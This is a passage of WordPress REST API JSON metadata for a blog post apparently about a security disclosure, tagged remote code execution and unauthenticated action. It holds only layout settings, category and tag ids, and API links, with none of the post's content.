Deletion<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[11682,10757,12136],"class_list":["post-10842","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-remote-code-execution","tag-securiteam-secure-disclosure","tag-unauthenticated-action"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10842","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=10842"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/10842\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=10842"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=10842"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=10842"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}